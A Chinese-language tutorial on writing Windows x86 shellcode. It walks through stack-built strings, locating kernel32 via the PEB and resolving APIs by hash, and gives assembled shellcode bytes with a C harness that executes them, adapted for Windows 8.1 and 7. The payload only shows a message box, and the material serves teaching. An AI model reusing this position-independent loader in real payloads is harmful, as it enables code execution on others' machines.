shellcode编写
1.最简单的不考虑平台性等等问题
HANDLE libHandle; char dllbuf[22] = "user32.dll"; libHandle = LoadLibraryA(dllbuf); __asm { sub esp, 0x440 xor ebx, ebx //下面3条代码是为了构建字符串, ebx=0是为了作为字符串的NULL结尾字节, 此时通过esp作为字符串参数传递目标函数即可使用freesec这个字符串 push ebx push 0x636573 // sec push 0x65657266 //free mov eax,esp push ebx //0 push eax //字符串freesec push eax push ebx //0 mov eax ,0x77d804ea //MessageBoxA的地址 call eax //MessageBoxA 调用 push ebp mov eax,0x7c81cdda //exit()的地址 call eax //退出程序 } return 0;
这里主要学会了如何在shellcode中构建字符串和使用字符串
2.在xp及2003 server 动态定位API
不同的操作系统版本,打补丁的版本会使得各个系统dll中的代码,数据等信息. 所以函数地址直接硬编码肯定不行.需要动态获得API地址
获取kernel32.dll的API地址原理:
(1) fs段寄存器(段选择子)可以找到当前线程环境块 TEB
(2) 线程环境块偏移0x30的地方存放着指向进程环境块PEB的指针
(3) 进程环境块偏移0xc地方存放指向PEB_LDR_DATA结构体指针,其中存放着已经被进程装载的动态链接库的信息
(4) PEB_LDR_DATA结构偏移0x1c存放着指向模块初始化链表头指针InInitializationOrderModuleList
(5) InInitializationOrderModuleList中按顺序存放着pe装入时模块信息. 第一个是ntdll.dll , 第2个是kernel32.dll. 然后在偏移0x8字节使其加载基址
(6) 然后通过pe文件基址找到导出表即可
通过导出表获取API地址需要对API名称字符串进行对比,但是直接使用字符串对比会使得shellcode过于长. 因此考虑使用计算hash值进行比较.如下代码
unsigned int hash(char* funcName)
{
unsigned int val = 0;
while (*funcName)
{
val = ((val << 16) | (val >> 16)) + (unsigned int)*funcName; //对函数名每个字符的ascii值循环右移16bit,注意设计的hash函数计算结果
不能存在某个字节是0, 因为 00会截断字符串
funcName++;
}
return val;
}
移位指令和累加都比较简单,只要先计算好想要加载的api的hash值,然后通过对导入表中的api计算其hash值,最后对2者相比即可
经计算得:
MessageBoxA 's hash is 01F90236
LoadLibraryA 's hash is 02350261
ExitProcess 's hash is 02340245
然后汇编代码:
__asm { cld; clear DF flag //压栈时注意将同一个dll中的API放在一起进行压栈,这样可以方便切换dll基址,节约代码量 //LoadLibraryA必须先获取到并保存,后面加载模块时还会用到 push 0x01F90236; MessageBoxA's hash push 0x02340245; ExitProcess's hash push 0x02350261; LoadLibraryA's hash mov esi, esp;获取hash值地址到esi lea edi, [esi - 0xc]; //现有的重要寄存器:esi指向3个API的hash的地址,edi指向hash值的地址下方0xc处目的是为了保存3个 //API的真正地址 xor ebx, ebx; ebx = 0 mov bh,0x04 sub esp, ebx; 开辟栈空间 mov bx, 0x3233 push ebx push 0x72657375 //"user32" push esp xor edx, edx//edx=0 mov ebx, fs:[edx + 0x30];ebx指向peb mov ecx,[ebx+0x0c] mov ecx,[ecx+0x1c]//ecx为模块链表头指针,即ecx值为ntdll所属的链表节点的地址 mov ecx,[ecx] //链表节点前4字节存储下一个节点地址,赋值给了ecx mov ebp,[ecx+0x08]//偏移8处为该模块的基址即kernel32.dll基址 //此时就esp,ebp,esi,edi有用,其他寄存器可以修改.edx=0,可以直接用 find_lib_functions: lodsd //将dword大小的数据从esi写到eax中,此时df是置位的,并增加esi指向下一个dword.实际上就是一个一个地获取APIhash cmp eax, 0x01F90236 //以之前对APIhash压栈的模块顺序的第一个API进行比较,方便模块切换 jnz find_functions //下面2个xchg指令是交换2个寄存器值,当执行到该处时eax是当前要获取的API,保存到ebp中防止被loadlibrary //函数修改,因为执行到这里说明要切换dll了,所以ebp刚好又通过返回值更新了 xchg eax,ebp call [edi-0x8] xchg eax,ebp //此时,esp,ebp,eax,edi,esi是重要寄存器 find_functions: //此时各寄存器作用:eax=目标函数名,ebx无,ecx无,edx=0,ebp=dll基址,esi=hash,edi=获取的API地址 pushad mov eax,[ebp+0x3c]//eax=peHead=nthead mov ecx,[ebp+eax+0x78]//nthead+0x78=导出表rva add ecx,ebp //这里在内存中,可以直接用基址加上rva得到导出表绝对地址 mov ebx, [ecx+0x20] //得到存储名字的数组的rva,数组存的是名字字符串地址rva add ebx,ebp //得到绝对地址 xor edi,edi //edi作为该数组索引,ebx作为数组基址,esi存储API字符串,eax作为字符串的单个字符串,edx作为临时的hash next_function_loop: inc edi mov esi,[ebx+edi*4] //将地址rva存放到esi add esi,ebp //获取绝对地址 cdq //因为eax在这里不会>f0000000 所以edx的每一bit都是0.其实就是将edx赋值为0,因为 //后续代码会将edx作为hash的临时保存, 所以在计算hash前需要清0 hash_loop: movsx eax,byte ptr [esi] cmp al,ah //当到字符串结尾时al=0,ah此时是0,就进行比较,否则继续计算hash jz compare_hash//edx保存着hash值 ror edx ,16 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx,[esp+0x1c] jnz next_function_loop //找到该函数后进行的操作 mov ebx,[ecx+0x24] //将ebx指向导出索引表即orginal table add ebx, ebp mov di, [ebx + 2 * edi]//找到对应序号 mov ebx, [ecx + 0x1c] //将ebx指向导出地址表,寻找真正的函数地址 add ebx, ebp add ebp, [ebx + 4 * edi]//将函数地址存放到ebp xchg eax, ebp //又存放到eax pop edi//弹出原来的edi,即获取到的api地址缓存. 因为pushad将edi最后压栈的 stosd//将eax赋值给edi并且edi增加一个dword大小 push edi//重新保存edi popad cmp eax, 0x01F90236 //判断是否是最后一个要获取的函数,是的话就进行函数调用了 jne find_lib_functions function_call: xor ebx, ebx push ebx push 0x636573 // sec push 0x65657266 //free mov eax, esp push ebx push eax push eax push ebx call [edi-0x4] push ebx call [edi-0x8] nop nop }
二进制数据为:
"\xFC\x68\x36\x02\xF9\x01\x68\x45\x02\x34\x02\x68\x61\x02\x35\x02"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x36\x02\xF9\x01\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x33\xD2\x0F\xBE\x06"
"\x3A\xC4\x74\x08\xC1\xCA\x10\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C"
"\x75\xE3\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD"
"\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x36\x02\xF9\x01\x75\xA8\x33"
"\xDB\x53\x68\x73\x65\x63\x00\x68\x66\x72\x65\x65\x8B\xC4\x53\x50"
"\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
测试程序:
// ts.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" char shellcode[]= "\xFC\x68\x36\x02\xF9\x01\x68\x45\x02\x34\x02\x68\x61\x02\x35\x02" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x36\x02\xF9\x01\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x33\xD2\x0F\xBE\x06" "\x3A\xC4\x74\x08\xC1\xCA\x10\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C" "\x75\xE3\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD" "\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x36\x02\xF9\x01\x75\xA8\x33" "\xDB\x53\x68\x73\x65\x63\x00\x68\x66\x72\x65\x65\x8B\xC4\x53\x50" "\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int _tmain(int argc, _TCHAR* argv[])
{
__asm
{
xor eax,eax
lea eax,[eax+shellcode]
push eax
ret
}
return 0;
}
如图:
解决shellcode在高版本windows平台系统兼容性
将上述shellcode在win8.1 64机器上无法运行
经过调试发现: (在cdq处下条件记录断点)
00401079 COND: func name= = LCIDToLocaleName
00401079 COND: func name= = LCMapStringA
00401079 COND: func name= = LCMapStringEx
00401079 COND: func name= = LCMapStringW
00401079 COND: func name= = LeaveCriticalPolicySectionInternal
00401079 COND: func name= = LeaveCriticalSection
00401079 COND: func name= = LeaveCriticalSectionWhenCallbackReturns
00401079 COND: func name= = LoadAppInitDlls
00401079 COND: func name= = LoadLibraryExA
00401079 COND: func name= = LoadLibraryExW
00401079 COND: func name= = LoadResource
00401079 COND: func name= = LoadStringA
00401079 COND: func name= = LoadStringBaseExW
00401079 COND: func name= = LoadStringByReference
00401079 COND: func name= = LoadStringW
00401079 COND: func name= = LocalAlloc
有这个LoadLibraryExA 而没有了LoadLibraryA
因此将代码中的LoadLibraryA 的hash改为LoadLibraryExA的hash 并修改传递的参数
修改后代码如下:
__asm { cld; clear DF flag //压栈时注意将同一个dll中的API放在一起进行压栈,这样可以方便切换dll基址,节约代码量 //LoadLibraryA必须先获取到并保存,后面加载模块时还会用到 push 0x01F90236; MessageBoxA's hash push 0x02340245; ExitProcess's hash //push 0x02350261; LoadLibraryA's hash push 0x02AD02A6; LoadLibraryExA's hash mov esi, esp; 获取hash值地址到esi lea edi, [esi - 0xc]; //现有的重要寄存器:esi指向3个API的hash的地址,edi指向hash值的地址下方0xc处目的是为了保存3个 //API的真正地址 xor ebx, ebx; ebx = 0 mov bh, 0x04 sub esp, ebx; 开辟栈空间 xor edx, edx//edx=0 mov bx, 0x3233 push ebx push 0x72657375 //"user32" mov ebx,esp push edx //LoadLibraryExA 第3个参数, 设为0 push edx //LoadLibraryExA 第2个参数, 设为0 push ebx //LoadLibraryExA 第1个参数, 即为user32.dll mov ebx, fs:[edx + 0x30]; ebx指向peb mov ecx, [ebx + 0x0c] mov ecx, [ecx + 0x1c]//ecx为模块链表头指针,即ecx值为ntdll所属的链表节点的地址 mov ecx, [ecx] //链表节点前4字节存储下一个节点地址,赋值给了ecx mov ebp, [ecx + 0x08]//偏移8处为该模块的基址即kernel32.dll基址 //此时就esp,ebp,esi,edi有用,其他寄存器可以修改.edx=0,可以直接用 find_lib_functions: lodsd //将dword大小的数据从esi写到eax中,此时df是置位的,并增加esi指向下一个dword.实际上就是一个一个地获取APIhash cmp eax, 0x01F90236 //以之前对APIhash压栈的模块顺序的第一个API进行比较,方便模块切换 jnz find_functions //下面2个xchg指令是交换2个寄存器值,当执行到该处时eax是当前要获取的API,保存到ebp中防止被loadlibrary //函数修改,因为执行到这里说明要切换dll了,所以ebp刚好又通过返回值更新了 xchg eax, ebp call[edi - 0x8] xchg eax, ebp //此时,esp,ebp,eax,edi,esi是重要寄存器 find_functions : //此时各寄存器作用:eax=目标函数名,ebx无,ecx无,edx=0,ebp=dll基址,esi=hash,edi=获取的API地址 pushad mov eax, [ebp + 0x3c]//eax=peHead=nthead mov ecx, [ebp + eax + 0x78]//nthead+0x78=导出表rva add ecx, ebp //这里在内存中,可以直接用基址加上rva得到导出表绝对地址 mov ebx, [ecx + 0x20] //得到存储名字的数组的rva,数组存的是名字字符串地址rva add ebx, ebp //得到绝对地址 xor edi, edi //edi作为该数组索引,ebx作为数组基址,esi存储API字符串,eax作为字符串的单个字符串,edx作为临时的hash next_function_loop : inc edi mov esi, [ebx + edi * 4] //将地址rva存放到esi add esi, ebp //获取绝对地址 cdq //因为eax在这里不会>f0000000 所以edx的每一bit都是0.其实就是将edx赋值为0,因为 //后续代码会将edx作为hash的临时保存, 所以在计算hash前需要清0 hash_loop : movsx eax, byte ptr[esi] cmp al, ah //当到字符串结尾时al=0,ah此时是0,就进行比较,否则继续计算hash jz compare_hash//edx保存着hash值 ror edx, 16 add edx, eax inc esi jmp hash_loop compare_hash : cmp edx, [esp + 0x1c] jnz next_function_loop //找到该函数后进行的操作 mov ebx, [ecx + 0x24] //将ebx指向导出索引表即orginal table add ebx, ebp mov di, [ebx + 2 * edi]//找到对应序号 mov ebx, [ecx + 0x1c] //将ebx指向导出地址表,寻找真正的函数地址 add ebx, ebp add ebp, [ebx + 4 * edi]//将函数地址存放到ebp xchg eax, ebp //又存放到eax pop edi//弹出原来的edi,即获取到的api地址缓存. 因为pushad将edi最后压栈的 stosd//将eax赋值给edi并且edi增加一个dword大小 push edi//重新保存edi popad cmp eax, 0x01F90236 //判断是否是最后一个要获取的函数,是的话就进行函数调用了 jne find_lib_functions function_call : xor ebx, ebx push ebx push 0x636573 // sec push 0x65657266 //free mov eax, esp push ebx push eax push eax push ebx call[edi - 0x4] push ebx call[edi - 0x8] nop nop }
win8.1 64位测试:
win7 64位机测试: